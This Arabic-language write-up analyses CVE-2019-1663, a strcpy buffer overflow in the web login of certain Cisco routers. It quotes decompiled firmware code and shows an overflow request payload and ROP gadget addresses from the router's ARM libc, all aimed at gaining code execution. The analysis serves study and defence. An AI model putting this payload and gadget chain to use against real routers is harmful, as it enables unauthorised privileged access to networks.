
المؤلف: Corentin Wolff
تنشأ الثغرة من الدالة 0x0002BF64، التي تسيء استخدام الدالة strcpy، مما يجعلها عرضة لهجمات تجاوز سعة المخزن المؤقت. من أجل الوضوح، أُعيدت تسمية هذه الدالة إلى Login. فيما يلي مقتطف يوضح المشكلة:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
في هذا المقتطف، تُستخدم الدالة strcpy بشكل غير سليم، مما يسبب ثغرة تجاوز سعة المخزن المؤقت:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
يتحقق هذا الجزء من الكود من اسم المستخدم:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
يُعرَّف المعامل param_1 على أنه حقل اسم المستخدم.
وبالمثل، يقابل param_2 كلمة المرور، بينما يُعرَّف param_3 على أنه httpd_user.
يمثل المتغير login_flag حالات الاتصال:
0 → Login error
1 → Admin login successful
2 → Admin login denied due to an existing session
3 → Admin login forcing logout
الثغرة هي تجاوز سعة المخزن المؤقت الناتج عن الاستخدام غير السليم للدالة strcpy.
لا تتحقق الدالة strcpy من حجم السلسلة المصدر مقابل سعة المخزن المؤقت الوجهة. وهذا يسمح بالكتابة فوق مناطق الذاكرة المتجاورة.
يستغل CVE-2019-1663 الافتقار إلى التحقق من حجم المدخلات في بعض طرازات موجّهات Cisco.
a. No Length Check: Unsanitized user input is passed to strcpy.
b. Memory Overflow: Excess data overwrites critical memory regions.
c. Arbitrary Code Execution: Attackers inject and execute malicious code.
d. Exploitation Requirements: Access to the router's web configuration server.
e. Impact: Privileged access, enabling network espionage, traffic redirection, malware installation, or backdoors.
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
يؤدي هذا إلى حدوث خطأ تجزئة (segmentation fault). ومن خلال تحديد الحجم الأمثل للمخزن المؤقت، يمكن للمهاجمين حقن وتنفيذ كود خبيث.
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: نسخ المخزن المؤقت دون التحقق من حجم المدخلات
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: كتابة خارج الحدود
https://cwe.mitre.org/data/definitions/787.html
OWASP: نظرة عامة على تجاوز سعة المخزن المؤقت
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
«تجاوز سعة المخزن المؤقت» على Microsoft Learn
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
معايير CERT للترميز الآمن - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
استغلال CVE-2019-1663 - تقرير بقلم Quentin Kaiser
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663